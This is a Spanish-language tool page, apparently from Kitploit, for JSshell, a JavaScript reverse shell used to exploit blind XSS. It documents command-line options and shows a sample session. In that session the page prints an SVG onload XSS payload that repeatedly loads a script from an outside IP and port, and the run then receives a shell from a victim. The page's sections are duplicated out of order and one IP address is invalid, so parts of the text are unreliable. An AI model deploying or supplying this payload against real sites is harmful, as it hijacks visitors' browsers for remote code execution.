JSshell — JSshell - shell inversa/remota de JavaScript | Kitploit

JSshell - versión 3.1

JSshell

JSshell - un reverse shell de JavaScript. Se utiliza para ejecutar código JS de forma remota, explotar XSS ciego, ...

Requisitos: Cualquier sistema operativo + Python 2 o Python 3

Novedades en JSshell versión 3.1

Actualizado en la nueva versión de JSshell 3.1:

Nuevo comando de JSshell: snippet -> permite escribir un fragmento de código JavaScript

>>> snippet
Use CTRL+D to finish the snippet

function new() {
    new = 'New update: Support javascript snippet =)';
    confirm(new)
}

new()
>>>

Modo silencioso (para profesionales)
Se agregó payload de reverse shell <body>
Se corrigieron algunos errores

Uso

Generar payloads de reverse shell JS: `-g`

Establecer el número de puerto local para escuchar y generar payloads (Por defecto: 4848):

Descargar herramienta

-p

~# whoami
root
~# ls
README.md   jsh.py
~# python3 jsh.py -g -w 20
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...

    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help                  This help
exit, quit            Exit the JS shell
$

JSshell

Más Populares

Establecer la dirección de origen local para generar payloads (Por defecto: detectar automáticamente tu dirección IP): `-s`

Establecer tiempo de espera para la conexión del shell (si el usuario sale de la sesión, el shell se pausará para siempre, por lo que si estableces el tiempo de espera, el shell se cerrará después de exceder el tiempo de espera): `-w`

Ejecutar un comando después de obtener el shell: `-c`

Ejemplos de uso:

Un ejemplo de ejecución de JSshell:

Autor

JSshell

Más Populares

JSshell - versión 3.1

Novedades en JSshell versión 3.1

Uso

Generar payloads de reverse shell JS: -g

Establecer el número de puerto local para escuchar y generar payloads (Por defecto: 4848):

Establecer la dirección de origen local para generar payloads (Por defecto: detectar automáticamente tu dirección IP): -s

Establecer tiempo de espera para la conexión del shell (si el usuario sale de la sesión, el shell se pausará para siempre, por lo que si estableces el tiempo de espera, el shell se cerrará después de exceder el tiempo de espera): -w

Ejecutar un comando después de obtener el shell: -c

Ejemplos de uso:

Un ejemplo de ejecución de JSshell:

Autor

Generar payloads de reverse shell JS: `-g`

Establecer la dirección de origen local para generar payloads (Por defecto: detectar automáticamente tu dirección IP): `-s`

Establecer tiempo de espera para la conexión del shell (si el usuario sale de la sesión, el shell se pausará para siempre, por lo que si estableces el tiempo de espera, el shell se cerrará después de exceder el tiempo de espera): `-w`

Ejecutar un comando después de obtener el shell: `-c`